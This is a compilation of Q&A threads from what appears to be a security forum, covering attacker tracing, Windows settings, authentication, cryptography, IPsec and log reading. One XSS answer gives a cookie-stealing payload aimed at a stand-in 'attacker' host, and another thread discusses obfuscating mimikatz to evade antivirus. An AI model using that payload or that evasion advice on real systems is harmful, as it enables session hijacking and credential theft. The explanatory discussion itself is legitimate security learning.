Finding the IP address origin of malware attacker behind VPN and proxies I have a client that wants me to begin doing research on finding the origin of a persistent attacker to their network and employees. I haven't gotten the specifics yet, but I'm trying to think of ways and what tools I would use to find the origin of an attack. I know of data-mining tools to use but these would be useless until I can pinpoint where this attacker is located. What is the best practice (using Kali Linux's toolbox) that would help figure out the end point?

Thanks!

If the attacker has any experience at all, you won't find them.

TOR is an anonymity proxy, designed to make clients untraceable. It takes a great deal of effort to trace a person when they are using very simply proxy or VPN methods - if they are using anything like TOR then you can forget being able to find them.

If the source of an attack belongs to an ISP's allocated client IP range, such as those issued to home broadband customers, then you have a chance that the IP that is attacking your system actually is the customer allocated that IP address. Of course if there is any machine at that IP address that is simply proxying the attack from somewhere else (malware such as RATs can provide this service), then your search just got a lot harder.


Anonymity of session hijackers using dsploit I was wondering about the possibility of finding out culprits who hijacked others' sessions and tried using google to find an answer several times, but I always failed.

Before I ask a question, let's make some assumptions: assume that I am logged into several websites like amazon, facebook, google, or whatever it could be, and at some point a bad guy uses tools like dsploit, etc. to hijack my session and successfully achieves what he wants like manipulating my personal info, sending threat messages to my aquaintances, or other illegal stuff. Also assume that I found this out less than several hours after the attack and contacted authorities to bring the culprit to justice. Assuming that the authorities found it illegal and starts investigating the case, is it possible for authorities to trace back things to find out who the culprit is, where he lives, etc.?

P.S. I am asking this because I have a guy who speaks about hacking & dsploit stuff and recently there were victims who seem to have been attacked by hijacking or MITM. I think the guy is the culprit, but can't say for sure unless there is a clear evidence.

You have to look at the packets and monitor the activity on the network. With wireshark or tcpdump, netcat, tcpflow. You can play around with a lot of tools.


Is the zero trust approach really so safe? Recently, I see so many emerging vendors that are advertising their use of zero-trust. What potential risks are we exposed to if we shift to zero-trust in our bank?

Zero trust tends to increase security. If done excessively, then security becomes excessive and that occurs at the expense of usability, as the two are often (though not always) inversely proportional to each other. Is it safe from a strict security standpoint? Absolutely, but it may not be what you want. If your goal is to avoid getting hacked (for example) and you succeed by having excessive security, it won't do you any good if it results in no one using your bank because it's so tedious to deal with.

Would, say, doing a strip search on customers entering bank premises increase security? Definitely! Will it result in you actually saving money because there are fewer incidents? No, because everyone will avoid your bank like the plague. You must find the proper balance between security and practicality. This is called risk assessment and must be done by any serious company that wants to succeed.

Honestly though? It seems like these vendors are just using the term as a meaningless buzzword.


Does enabling EnableLinkedConnections pose a security risk? As shown Microsoft's TechNet, network shares that are mapped by logon scripts are shared with the standard user access token instead of with the full administrator access token. Here's the gist of it:
Symptom

After you turn on User Account Control (UAC) in Windows Vista or Windows 7, programs may not be able to access some network locations. This problem may also occur when you use the command prompt to access a network location.

Cause

This problem occurs because UAC treats members of the Administrators group as standard users. Therefore, network shares that are mapped by logon scripts are shared with the standard user access token instead of with the full administrator access token.
[...]When network shares are mapped, they are linked to the current logon session for the current process access token. This means that if a user uses the command prompt (cmd.exe) together with the filtered access token to map a network share, the network share is not mapped for processes that run with the full administrator access token.

Resolution

Creating/setting the DWORD value of EnableLinkedConnections at the location HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System to 1 and restarting the computer enables Windows Vista and Windows 7 to share network connections between the filtered access token and the full administrator access token.

I've already established that the workaround mentioned above works perfectly fine, fixing my problem. Now I'm wondering if doing so poses a security risk and, if so, what it is? I can live without this workaround but having it in place definitely makes my life easier.

I found an answer from Jon Schwartz, UAC Architect, which provided the following details:

  Mapped drives get interesting in combination with the "split-token" account, because of a weird dichotomy in the system (in large part historical) -- the drive letters are per-user, but the underlying drive mappings are per-LUID (i.e., distinct for each individual logon, even for the same user).  This is why the mappings disappear when you elevate, and the setting you found tells the OS that you want the mappings you make non-elevated to be mirrored into your elevated context as well -- under the covers, the NTLanman network provider maps the drive and then asks the LSA to find the associated elevated token and use it to mirror the mapping.

As for any vulnerabilities, Jon had this to say:

  Technically, it opens a small loophole since non-elevated malware can now "pre-seed" a drive letter + mapping into the elevated context -- that should be low-risk unless you end up with something that's specifically tailored to your environment.

This is from 2007 and mostly applies to Windows Vista, though. I don't think much has changed since then. Since we are still using Windows 7, I should be fine, I guess.


IP address leaked in email header? Can my IP address ever be included in the header of emails I send? Or do email servers never include my IP address in my emails' headers?

Years ago, many webmail services (such as Hotmail and Yahoo Mail) used to include a X-Originating-Ip header in outgoing messages, which indicated IP address that the sender was using to connect to the webmail service to send the message.  But, most of those services either encode this header now, or no longer include it.  See https://en.wikipedia.org/wiki/X-Originating-IP for more info.


Storing account credentials for spouse/loved one? Just in case something ever "happens" to me...

What are some best practices for sharing various account information (bank, email, etc.) with spouses/loved ones in a way that is safe but also not overly technical?

It seems software solutions are often a little complicated for those not familiar with technical things, and writing things on paper could allow them to be physically obtained if our apartment (with no safe) were to be robbed, etc. Not to mention fires, changed passwords, and so on.

There are services such as Legacy Locker and Secure Safe, but I am weary of handing over my credentials to some company. And what if I decide to go on a 6month hiatus and they think I've "moved on"?

Ideally, I'd like a solution that is very simple, secure, and free.

Update: Though I still prefer KeePassX with Google Drive for a cross-platform solution, there is a similar question on SuperUser with other solutions.

When I set up a similar thing, my solution was put a KeePass database on Dropbox. We both have access to the same Dropbox account, and both of us know the password to the database. It can safely be used to store shared account details, including passwords, account numbers and other details. It's free and entirely point-and-click, so it's really easy to learn.

What makes this approach even better is that everything is backed up on Dropbox, and even if Dropbox goes away (like MegaUpload did) you've still got the local copies in your Dropbox folders.


Should the "Users" group be removed from Windows Servers "Allow log on locally" Security GPO setting? I know by default RDP does not allow any non-admin user to RDP into a machine unless we specify it.  But a non-admin user can logon to the machine at the console.

I was looking at the "Allow log on locally" GPO security setting under the User Rights Assignment Security Settings group and it says by default the following can log on locally:

On workstations and servers: Administrators, Backup Operators, Power Users, Users, and Guest.
On domain controllers: Account Operators, Administrators, Backup Operators, and Print Operators.

Isnt it a security risk allowing anyone in the "Users" group which by default "Domain Users" are a member of console access to servers?  I was always curious why Microsoft allowed the Users and Guest group access to servers.

I would think removing both Guest and Users from this security policy would be best practice for servers.

I believe you've answered your question yourself correctly. Users and Guest accounts should not have the "Allow log on locally" rights on servers, only Administrators (and Backup Operators if necessary).

Here is a MS KBA in which security countermeasures are described:

https://technet.microsoft.com/en-us/library/dn221980.aspx

Quote:

  "For domain controllers, assign the Allow log on locally user right
  only to the Administrators group. For other server roles, you may
  choose to add Backup Operators in addition to Administrators. For
  end-user computers, you should also assign this right to the Users
  group.

  Alternatively, you can assign groups such as Account Operators, Server
  Operators, and Guests to the Deny log on locally user right."


Case sensitive logins Why does owasp recommend using case insensitive logins ?

Make sure your usernames/user IDs are case-insensitive. User 'smith'
and user 'Smith' should be the same user.

What's the security aspect of it?

I can see two main aspects:

Convenience
Users with mobile keyboards with auto-capitalization enabled will not have to change the first letter to lower case before submitting the form, and that leads to a better user experience.

Makes impersonation harder
If Smith and smith are seem as different users, and you allow users to communicate with each other, someone can create "clones" of the current accounts and mislead other users.


Unclosable instance of Node.js runs on Startup I've noticed in my task manager, an unclosable instance of server side Node.js running on my HP Laptop (running windows 10), after a little digging around I was wondering if it means I'm now unwillingly taking part in a botnet, and if so, if I can I trace the server it's coming from?

If you do have a process that starts automatically and that cannot be properly traced to a binary you installed or configured I would suspect malware alright.  Just note that a complex OS like Windows 10 do have several ways of building a service, the most common way should be the Startup directory (which has its own tab in the task manager).

Nevertheless, you should install Wireshark (or similar) and monitor the traffic of the machine in question.  Although competent malware (e.g. rootkits) can hide itself from monitoring made on the same machine, your malware does not appear to be very good at hiding anyway.

(By monitoring traffic on an intermediate machine, e.g. a machine acting a s a router, you can even find traffic generated by well hidden malware.)

Monitoring the traffic you can show to what your machine is talking and (often) what is the content of the communication.  Yet that does not really provide a solution to the problem of having malware (for that see: Help! My home PC has been infected by a virus! What do I do now?)

Extra note: I'll repeat again, check first all the system services.  Notable the Startup tab.  Installers of a good deal of software today do install a Node instance, and make it run on startup.


What kind of vulnerability is this considered? I am reverse engineering a binary that is supposed to run as root and performs simple checks on users passwords by reading /etc/shadow. I am able to leak some shadow file entries due to public r/w permissions set on the IPC mechanism.

How would this kind of vulnerability be categorised and described in an official report ?

Generally speaking you want to split your categorisation into weakness and impact. In this case the weakness is that a process with elevated privileges (root in this case) exposes an IPC mechanism with excessively permissive access control. The impact is that you can access data that you shouldn't be able to as an unprivileged user.

It is easy to get this backwards. For example, you could look at the impact and decide that the weakness is an information disclosure. This is incorrect as the issue does not arise because of an information disclosure. Rather, the issue arises because of excessively permissive access control, and results in information disclosure.


Fake referer is affecting my google search results Google search result of my wordpress site is different than original content. We have taken services of security expert and they have scanned the site and database but there is no modification in code and database. Neither they found any plugin vulnerability or similar type of attack. The code and and database was clean.

Only thing we found in access log that 10-20 requests are being sent daily on my server but the referer is either vulgar sites or pharma sites. We couldn't find it immediately because there are thousands of requests we get daily and these are only 10-20 but they hit regularly. Can this be a reason, my sites content is different in google search results.

We have cleaned every url using removal method of google but now we searched after a month, fake results start appearing again. If code and database is clean, fake referer attack can be a possibility for modified search results.

Please share some information on this front.

Thank You

Edit --  My concern to know how badly fake refers can damage search results of google. Are they slow poison? If yes so can anyone do this damage to any site because creating faking referer is very easy for anyone using curl.

The fake referrers in your logs have nothing to do with your problem, they are almost certainly just referrer spam, and they are harmless, except for polluting your analytics and statistics. And this was to answer your question about referrers.

As for the solution to your problem, if you are really sure your website is totally clean (which means all the files are exactly the same as the ones in a clean backup or default installation, and the same is true of the database, which might be more difficult to check thoroughly), then your problem is somewhere else. I'd tend to exclude the possibility of problems with DNS servers, because if your domain pointed to a different website you would be able to see the malicious site too (not only seen by Google but by everyone). The most likely point of infection is therefore your web server, either just the server software (Apache, Nginx, etc., all it takes is configuring some malicious redirections for exaple) or even the whole machine might be compromised. I find it strange that the "security experts" you hired didn't at least warn you about this and tell you to check your server. If you don't manage your own server, your web hosting provider might be infected and you should let them know.


How can I obfuscate a 64-bit executable Windows file? Hyperion works OK when scrambling/obfuscating win32 files, but I am trying a program that seems to be a Win64 executable, and it fails:

C:\Hyperion>hyperion.exe -v mimikatz.exe output.exe

 -------------------------------
| Stage 1: Analyzing input file |
 -------------------------------

Opening mimikatz.exe
Copied file to memory location: 0x5a0020
Found valid MZ signature
Found pointer to PE Header: 0x118
Found valid PE signature
Error: File is PE64, aborting...

https://github.com/Veil-Framework/Veil-Evasion/tree/master/tools/hyperion
https://github.com/Veil-Framework/Veil-Evasion/archive/hyperion.zip
https://github.com/Veil-Framework/Veil-Evasion/archive/Veil-Evasion.zip
https://github.com/Veil-Framework/hyperion/archive/hyperion.zip

How can I obfuscate 64-bit executables?

I don't mind to use Linux or Windows for the job.
This question is not restricted to Hyperion software. Any method to achieve executable windows files obfuscation is allowed as a possible answer.

Since you explicitly mention Hyperion...

It looks like whatever project your using has an outdated version of the Hyperion codebase that can't do 64-bit. If you look at nullsecs repos they have a version that claims to work with 64-bit code, they are the original authors of Hyperion it appears.

You can find their codebase for Hyperion here along with prebuilt releases (in the releases folder)


Why is Windows Explorer making external connections? McAfee is seeing Windows Explorer (explorer.exe)  establishing connections to external IPs:

Also verified with cmd:

C:\Windows\system32>tasklist|find "explorer.exe"
explorer.exe                  4052 Console                    1    305,072 K

C:\Windows\system32>netstat -anob|find "4052"
  TCP    192.168.1.19:19049     111.221.124.106:443    ESTABLISHED     4052

C:\Windows\system32>

Why is Windows Explorer connecting to external IPs?

Is it OK to block Windows Explorer from all ports (e.g. with a firewall like McAfee / Kaspersky) or would that lead to system instability?

• Tested on Win 8.1 basic.

This is normal and expected behavior for windows system.
The IP you mentioned resolves to sinwns2012412.wns.windows.com.

The Windows Push Notification Services (WNS) enables third-party developers to send toast, tile, badge, and raw updates from their own cloud service. This provides a mechanism to deliver new updates to your users in a power-efficient and dependable way.

How it works:
The following diagram shows the complete data flow involved in sending a push notification. It involves these steps:

Your app sends a request for a push notification channel to the Notification Client Platform.
The Notification Client Platform asks WNS to create a notification channel. This channel is returned to the calling device in the form of a Uniform Resource Identifier (URI).
The notification channel URI is returned by Windows to your app.
Your app sends the URI to your own cloud service. This callback mechanism is an interface between your own app and your own service. It is your responsibility to implement this callback with safe and secure web standards.
When your cloud service has an update to send, it notifies WNS using the channel URI. This is done by issuing an HTTP POST request, including the notification payload, over Secure Sockets Layer (SSL). This step requires authentication.
WNS receives the request and routes the notification to the appropriate device.

Reference: https://msdn.microsoft.com/en-us/library/windows/apps/hh913756.aspx


Service Provider that requires elevation Our identities are stored in a separate IdP (Azure AD in this case) and the applications are acting as Service Providers. MFA is triggered based on some rules (based on geoIP etc.). We are now about to add a new application which contain sensitive data and wish for it to trigger MFA.

What are the mechanism for Service Providers to request Elevation?

For example, is there an attribute that should be passed through the OIDC/SAML to indicate if it's MFAed? Is there a protocol by which the Service Provider requests that elevation so that the IdP knows to trigger it? Is it widely implemented by IAM products and specifically in Azure AD?

The mechanism depends on the protocol but in practice MFA at the protocol level is not standardized. For example in SAML, you can make use of an authentication context:

  If a relying party is to rely on the authentication of another entity
  by an authentication authority, the relying party may require
  information additional to the authentication itself to allow it to put
  the authentication into a risk-management context. This information
  could include:

  The initial user identification mechanisms (for
  example, face-to-face, online, shared secret).
  The mechanisms for
  minimizing compromise of credentials (for example, credential renewal
  frequency, client-side key generation).
  The mechanisms for storing
  and protecting credentials (for example, smartcard, password rules).
  The authentication mechanism or method (for example, password,
  certificate-based SSL)

The relying party could ask the identity provider to use MFA when authenticating the user If MFA is not used, the relying party could reject SAML assertion and therefore deny access. Sounds good, doesn't it? This is theory. In practice, this doesn't work at the protocol level because defining the behavior of a specific authentication context is not something that can be universally specified.

SAML as a protocol allows extensions so any party could publish their own authentication context. As long as that context is understood by SPs and IdPs that participate in a federation, it all works. Not quite universal but it's a solution. In a higher education community where SAML via Shibboleth is widespread, they've defined a profile for MFA along with associated authentication context and baked it into implementations.

OIDC also has authentication contexts and they suffer from the same problem as described above. Since OIDC is built on top of oAuth, it also has scopes as another control lever to request desired access. If there was, say, a standard 'mfa' scope  then the client could request it from the authorization service. Alas, only a few scopes are standardized.

When you're dealing with a large, commercial identity provider such as Azure AD, your ability to implement to your needs is subject to

Specifications they support
Their interpretation of these specifications
Your ability to customize their behavior and still remain within the spec.

While AAD supports SAML and OIDC, it does so narrowly and you can customize very little. To be specific, you can't ask AAD to interpret your own scopes or authentication contexts.

Since you know upfront that this particular app is going to need MFA, your best implementation option in AAD is a conditional access policy.


Is an RSA public key needed to crack an RSA private key? I know RSA keys are extremely difficult to crack, especially given adequate encryption bit length. However, does having access to the public key make it at all easier to crack the private key? I would imagine cracking the private key is essentially impossible without the public key. If you don't have the public key, you would have to completely guess at both the modulus and exponent until the resulting key can finally decrypt an encrypted message.

I know a public key, by definition, is public and accessible. However, if we're talking about a server-client application, and if you control the server and client, you could easily implement certain practices by which to protect the public key to a certain extent, making it less public, if you will.

So if someone was trying to crack a private key, would they need access to the public key first?

Based on the answer to this question, it seems like the answer is yes. If this is correct, then to what extent does having the public key aid in cracking the private key? How much more difficult would it be without the public key?

No, knowing the public is not required to crack an RSA private key. Given an encrypted message, the attacker only needs to know something which allows him to distinguish a success in decrypting your message from a failure. This something can be anything, commonly it is some knowledge about the data content as for instance the knowledge of a challenge in its clear form, the presence of certain tags, of the data structure, of data statistics as for instance a presence of large number of correct english words or the presence of a checksum.

While not bad in its essence, your idea of keeping the public key private just reduces your public key cryptography to a situation which would most likely be solvable using symmetric cryptography.

One of the big issue with symmetric cryptography was that the sender and receiver had to find a way to exchange a pair of secret keys securely while there is no secure communication channel already established and no way to check each other identity. The main solution for this was to use out-of-band key exchange.

Asymmetric encryption, to which RSA encryption belongs, solved this by proposing a system where the sender and receiver can publish their public keys in a common directory, those public keys being optionally signed by a third-party entity trusted by both parties. This allows to remove the burden of having to exchange keys using out-of-band methods.

Nevertheless, if you like, you can still use out-of-band methods to exchange the public key. It is not necessary, depending on what you intend to do it may be more complex and harder to maintain over time, it will not increase your security in any noticeable way but it will not decrease your security either.

To go (a bit) in your direction, note that all public keys are necessarily made really public. A good example of this is user's SSH authentication keys. While stored in clear form, the user's public is usually not published (as opposed to the server's public key). However this so as long as there no advantage in doing so. As soon as it becomes more practical to store public keys in a trustable directory (an internal company directory for instance), there is usually no issue in doing so.


Dangers of opening up a wide range of ports? (mosh) Why do we generally configure firewalls to filter out all traffic that we don't specifically allow?  Is this just an extra layer of security for defense-in-depth that buys us nothing if we are not running malware on our system?

Are there any dangers in say opening up say ports 60000 to 61000 for incoming UDP connections that is significantly less safe than say just opening up a few ports?

I've just heard of mosh which advertises itself as a better way to do mobile ssh (over wifi/cell phone).  Mosh uses UDP rather than TCP, so if you briefly enter a tunnel or your IP address changes (switching cell phone towers), you don't have to wait to come back from congestion control  or establish a new ssh session.  Basically mosh uses ssh to remotely start a mosh-server as an unprivileged user, exchanges a AES-OCB key using ssh, and then sends/receives encrypted packets (with sequence numbers) to a port in the range 60000-61000, which you should configure your firewall to open.

I'm somewhat uncomfortable with opening up ~1000 ports for incoming (UDP) connections, but can't think of a very good reason for this.  If no software is listening for data on that port, it just gets ignored right?  (On edit: no -- it actually directs the server to send back a ICMP (ping) destination unreachable response).  I guess if I had malware running on my server, it could be waiting to listen to instructions from forged IP addresses on one of these opened ports.  However, malware running on an internet connected systems already could establish connections/download information from other malware servers (though would have to know an IP address) and fetch instructions, so this doesn't make the security that much less secure.

EDIT: Interesting, just saw this other question which lead me to read about UDP_flood_attack.  I guess additionally I would need to somehow disable my system from sending ping destination unreachable replies for the newly opened UDP ports.

In addition to Justin's answer about inadvertently opening up applications to be remotely accessed, remember that even if nothing is specifically listening for a connection, the operating system is ALWAYS going to be listening -- if only to route/map to the appropriate process or refuse or silently drop the packet.  Therefore, the operating system is still one specific attack vector  which can remain unprotected when a firewall allows traffic to flow to an "inactive" port.

However, all things being equal in this scenario, opening up one inactive port or 1000 inactive ports makes little difference.  But definitely heed the advice of principle of least privilege.


Is having a piece of paper with 2 fake PINS a good solution to mitigate credit-card theft? I am planning to travel and thought about credit-card theft.

Would it be a good idea to have a piece of paper with 2 fake PINs near my credit-card?

The imagined attack goes as follows:

The piece of paper has written only this on it:

Credit-Card PIN:
3867
7349

Attacker steals wallet / credit-card along with the piece of paper
Attacker goes to ATM, puts in credit-card and tries first PIN -> gets rejected
Attacker thinks, he might have mis-typed the PIN, tries again -> gets rejected second time
Attacker uses the second PIN -> gets rejected the third time -> ATM keeps the card

In my mind this is some sort of social engineering attack on the attacker. Since he has a piece of paper, he is inclined to use it in order to get fast cash, which results in the credit-card being kept by the ATM.

If the piece of paper would not be there, he might take it home and use technical devices or uses the credit-card in fake transactions to get money.

Notice: I am aware of criminals using fake / tampered terminals in order to get the card information and the pin. My question is about the physical theft of a credit-card!

I am also not sure, if there are different credit-cards, therefore I am thinking of my german banking-card, which uses Maestro. It's not a credit-card per se, but for the general idea of getting money at an ATM with a card and a PIN its the same as a credit-card if I understand both systems correctly.

PS: If your PIN matches my randomly generated PIN from the example, please offer me your credentials, so I can abuse this statistical surprise accordingly!

Anything you can do to mitigate the threat of usage after the physical-theft of the card is a great idea. Making them take longer by making them make mistakes and/or trying in multiple places is a solid idea. That is, aside from the ultimate mitigation of keeping your bank's phone numbers in your phone so you can contact them immediately to report card theft. As a piece of Social Engineering it's not the worst idea I've heard. Keeping that piece of paper in your wallet with the card might be a little more difficult and not worth the effort, but I could see it working.

In places where ATMs retain cards after several failed PIN attempts, this could be one extra level of security that might put less strain on your financial resources. Several card carriers also support larger PINs, up to 16-digits in some places. So you could enhance security on your card that way as well. You could also keep multiple closed credit cards in your wallet so it takes longer for the would-be thief to make an attempt on your good cards.

That being said, I don't know how often you expect to have your card stolen, and taking steps to prevent its theft in the first place might be more effective than a Social Engineering attempt at mitigation. Locking your wallet in a drawer at night, keeping it in your front pocket or carrying it in an odd location on your body (sock, inside your button-up shirt, secure pocket with a zipper) might be better techniques to avoid the theft in the first place.


response when sent emailed links to personal information I'm filling out tax information. The accountants out-source the survey collecting the tax info to another company. Seems fair enough - I'd rather have computer experts handle the technical implementation of my information's security than have tax accountants trying to do it.

Problem is that when I pause work on inputting the info, the survey company emails me a link to return to the survey. No password involved at any stage. Anyone with the link can access the survey.

Obviously someone malicious could read the email. Or maybe I might use a browser that stores the URL. Or since the URL only has 5 random characters in it, it's probably possible to guess a random URL and get into someone's survey after enough tries.

But if I were to reach out to these companies, what should I say? Whenever I see something like this (plain text emails of passwords in particular), and complain, people just ignore it. So can anyone advise how to highlight the vulnerability in a way that gets people to take it seriously?

Simply contacting both companies to register your concerns is a first step.

Secondly, there are likely personal data protection laws/regulations that cover either company that you can reference and appeal to if you are not satisfied with the responses from the companies.

You can't force anyone to do anything to change how they process information. You can inform, encourage, and bring in regulators when applicable.


Is sharing databases's hostname considered to be a security hole? We have a Postgres database running on a Heroku and want to setup an external connection to it from the DB management GUI application (e.g. pgAdmin)

Being novice to security things I wonder if it is considered a security hole to share a database's host/database name via any internet messaging services e.g. email, skype etc. The database credentials are NOT shared via aforementioned channels

It would be nice to have a reference to any available security standards that everyone should be aware of

Hostname/database name wouldn't usually be considered "sensitive" information in that they don't directly provide access to a system, they would just allow an initial connection attempt to be made.  Leaking things like database name publicly might be considered a minor information leak, however that wouldn't apply to communicating them over e-mail/skype etc.

In the scenario you're describing (opening up database access remotely) an important control would be to limit the systems that can connect to the management interface, ideally by source IP address.  This reduces the risk of some random person connecting to the management interface and attempting to compromise it (e.g. by password guessing attacks, or vulnerability in the management software)


Security differences between fb connect and openid connect I've been reading a lot about why plain oauth is bad for authentication, and one needs to at least build on top of it to reach an acceptable level of security.

That got me looking at the major oauth layered providers- Facebook Connect and Openid Connect.

Many websites say Facebook Connect has certain inherent issues that Openid Connect accounts for, but from a high level they seem to be adding the same things on top of oauth...

Can someone explain the differences in the protocols and what issues Facebook Connect has that the openid connect protocol covers?

In short: Privacy.

Facebook Connect's service provider is Facebook. Since Facebook is the provider of such service you depend not only on Facebook's reliability but also on Facebook Connect's not being blocked as well in the same countries where Facebook is blocked (censored to be precise).

Moreover, Facebook learns plenty of information about your behavior that you may not want to reveal to Facebook itself (they may offer the service for free but certainly they will analyse your authentication patterns...).
You also depend on Facebook not censoring that particular service you want to use it to log in with.

Facebook Connect is simply an authentication layer like OpenID Connect where Facebook is the sole provider, but it is not open unfortunately. Technically they are likely to offer similar features but unless Facebook reveal any more details, we don't know. If you use Facebook Connect you are relying on Facebook and trusting Facebook. If you use OpenID Connect you rely on an open protocol, with all the public scrutiny that it implies.


Is it possible to execute xss under these conditions? Is it possible to execute xss under the following conditions?
The following blocked characters and words are replaced with _.

characters: > , : , ; , " , ' , # , ~ , \ , % , ( , ) , [ , ] , { , } , [space]
keywords: alert, confirm, prompt, href, body, onload, src=

The input into the get variable will be echoed back to the user and will not be in any attributes or tags, it will be displayed as it is.

First and foremost XSS is entirely dependent on context.  Forcing all input though the same filter will never work all of the time.  This is just not how web applications deal with the problem of XSS.  The biggest problem with this method of XSS protection is that it is not binary safe. HTML Entity encoding will preserve the value without leading to XSS.

Most of these proposed restrictions have no impact on a given web applications susceptibility to XSS.  The most obvious problem is checking for alert and prompt,  as these are strings that will never appear in a real attack. This is because a real attacker wants to be undetected, an alert box is a dead give away.

To answer your question,  YES,  there are numerous conditions in which an attacker could obtain XSS given these arbitrary restrictions.  What comes to mind first is DOM Based XSS and DOM Event Injection.

Plain old reflective XSS will also work in a number of situations,  the following is a PoC payload, assuming the attacker is already writing within a <script> tag:

document.location=document.referrer+document.cookie

In this casedocument.referrer is where the reflective XSS payload originated from lets call it http://attacker/cookie_thief.php?c=.  In this payload the victim's browser will be redirected back to http://attacker/cookie_thief.php?c= by the XSS payload,  and the c GET variable will be populated with the cookie value.


Are T4 and/or T30 fax protocols secure/encrypted? I am trying to determine if the documents I send from my office fax machine are encrypted/secure or not.

I found this article which kind of explains the current state of fax security:

  According to Ontario, Canada based Natural Data, Inc., there are over 100 million fax machines in use worldwide today. Almost all of these fax machines are unable to connect to the Internet and as a result can only send and receive faxes using the unsecured public fax line services.

But that doesn't really help me assess whether my particular fax connection is secured or not. How do I know if my fax machine is networked? Even if it is networked, how do I know if it's secure? How secure is it (AES, PGP, etc.)? Is there an unsecure/secure dichotomy in the fax protocols (T4 & T30) like you have with HTTP/HTTPS and FTP/SFTP?

No. The facsimile protocols T4 (Modified Huffman) and T30 (ITU-T T.82) are primarily compression algorithms there is no encryption involved.

https://en.wikipedia.org/wiki/Fax#Compression

Regarding the "Networked" component that primarily refers to newer fax machines which have wireless or Ethernet connectivity so that a group can send documents over the network to the fax. This is also very common for the multifunction (fax-printer-copier) devices.

Per the question you raised keep in mind that any given telecommunications circuit is also likely to traverse the Internet in an unencrypted state. Many of the telecommunication providers leverage a variety of third-parties to transport telecom connections. In the U.S. the phrase "dedicated connection" frequently means allocated to you the customer and does not mean that there are copper wires connecting two different locations. Given the owners of various metropolitan fiber-rings and long-haul fiber carriers your communications could easily traverse a dozen different companies networks where, potentially, it could be intercepted.

Note: Some regulatory requirements treat facsimiles as protected and not having the same requirements as data sent over the Internet. If your organization is looking to secure their faxes due to a regulatory requirement you may want to verify if the requirement states anything about their use first. That said it may also be worth considering that those regulations may themselves change in the future and not allow the use of facsimile for regulated data records.


Are all TCP connection protected by IPsec? I hope this question fits this stackexchange:

From what I understand, IPSec takes care of encrypting everything above the IP layer (transport, application). Does that mean that if I open a socket between two applications for, say, a chat, that my chat is "secure"? (in the sense that no one can alter the data sent by MITM / impersonate the other side).

There are several modes for IPsec:

Authentication Header: integrity checks on complete IP packets, but no encryption.
Encapsulating Security Payload: integrity and encryption on the IP packet contents; but some header information (in particular source and destination addresses) is unprotected.
ESP in Tunnel Mode: that is ESP between two machines, and the IP packet contents are themselves complete IP packets in their own right.

These protections are applied on a per packet basis. It is up to the two involved machines to apply protection consistently; it thus depends on their configuration. A sane configuration between two machines is to apply ESP on all packets, and reject unprotected packets from the other machine; in that case, all TCP connections between these two machines will be "protected" in the sense that attackers won't be able to understand the data streams or to inject fake data. However, it will still be plain to attackers that the two machines are involved in some TCP connections (encryption does not hide length, so the initial TCP three-way handshake and the subsequent push/ack mechanism will exhibit a highly recognizable pattern).

ESP with Tunnel Mode is meant mostly for routers and VPN. Typically, a tunnel is opened between two distinct networks, or between a network and an external machine. Attackers will be able to see that data is exchanged between the external machine and the network, but the only IP addresses they will see will be those of the network gateway, and the external machine. The actual target addresses will remain hidden.

Active attackers can always disrupt communications by dropping packets. No amount of IPsec can prevent that.


Does providing non existant users with fake salts prevent user enumeration? Background

I'm currently setting up a basic username & hash based login process for a web application. The process consist of the following steps:

User submits their username.
Server responds with salt.
User hashes the password and sends it and the username to the server.
Server authenticates the user.

Obviously this is somewhat simplified and multiple steps during the actual hashing process is glossed over.

What I see here is a potential of enumerating existing usernames. If an attacker submits a non existing username - no salt will be provided, hinting the attacker whether or not the username is in use.

Question

When a non existing username is provided, if I were to provide a random salt, does it prevent the attacker from enumerating the existing users?

Would such a precosion be so minor it might as well be skipped?

Concerns

An attacker could see that the server is just spewing out random values.

The main problem with the proposed system is that an attacker probably wouldn't bother with the obtaining salt step. They don't need to - the salted password is a password equivalent, so it's easier to jump in at step 3, and send pregenerated hashes to your server.

In terms of username enumeration, yes, it would be possible to determine whether a user exists given the response of salt or not. Depending on your system, it might also be possible to determine whether a user exists by requesting the same username twice. If you get the same salt (which you would need to use, in order to keep the server side storage of the password safe) for two calls, you could be sure that the user was real. You could mitigate that by storing the salts you've sent (which results in your user DB being full of junk after a couple of attack attempts) or by algorithmically generating them from the username (which would need to be applied to all users to prevent enumeration by looking for the ones that aren't generated in this way).

The proposed system doesn't really offer any security improvements over a standard username/password login, served over HTTPS, but does increase the attack area, and the information that attackers have about your system. Specifically, they know that the real passwords are hashes, with a known salt - they are a specific length, contain specific characters (probably hex digits), and are valid output for strings containing the salt.

I'd suggest sticking with the tried and tested method of username/password over HTTPS!


Does anyone know how / what this technique is called? When using public wireless it needs you to sign in and from what I've gathered it allows you to have access to the internet and provides you with your own network and is not shared with any other devices on the same wireless access point, does anyone know how this could be done and what its called?

You mention two distinct technologies: an access portal and client isolation.

In comments you say you are not talking about the access portal part, but rather client isolation.

Most consumer and corporate access points and wireless controllers I have touched have this feature.  It is simply built-in to the hardware you are working with, usually a checkbox item.  Often this can take the form of a Virtual Access Point which operates at the data link layer (EDIT: See J Kimball's answer for more on VAP).

If you are running a custom AP you might be able to accomplish this with iptables rules, but I can't really speak to that effect.


how does tresorit "shared links" work if files are encrypted on the server? Tresorit has the option of sending a link that anyone can open without a Tresorit account or password.  If files are encrypted on the server, how can anyone with a link decrypt it?  Are files with shared links unencrypted on the server?

As can be seen in an image included into Introducing new ways of sharing in Tresorit the link for sharing a file has the syntax

 https://example.com/some-path#some-special-string

This some-special-string after the # is an anchor and it gets processed in a special way. When visiting the URL only /some-path will be send inside the request to the server example.com while the #some-special-string is kept in the browser and is accessible via Javascript by location.hash. This way some-special-string can contain the secret needed to decrypt the data and this secret will not leave the browser.

Of course, not only the encrypted data need to be downloaded from the server for decryption but also the decryption has to be done somehow. Since the browser does not know how to decrypt the data the necessary Javascript code for decryption has to be loaded from some server too. And this is the weak point of the concept - even if the server only has the encrypted data he could in theory send not only the script to decrypt the data with the in-browser secret but could also send script which sends this secret back to the server, thus making server-side decryption possible. Thus, trusting the service provider is still needed.


Is this what a brute force SSH attack looks like? I reviewed the auth.log file on my Ubuntu server to find:

[preauth]
Feb 22 17:39:18 code-storage sshd[17271]: Disconnected from 147.135.192.203 port 49408 [preauth]
Feb 22 17:40:15 code-storage sshd[17273]: Invalid user ellen from 147.135.192.203
Feb 22 17:40:15 code-storage sshd[17273]: input_userauth_request: invalid user ellen [preauth]
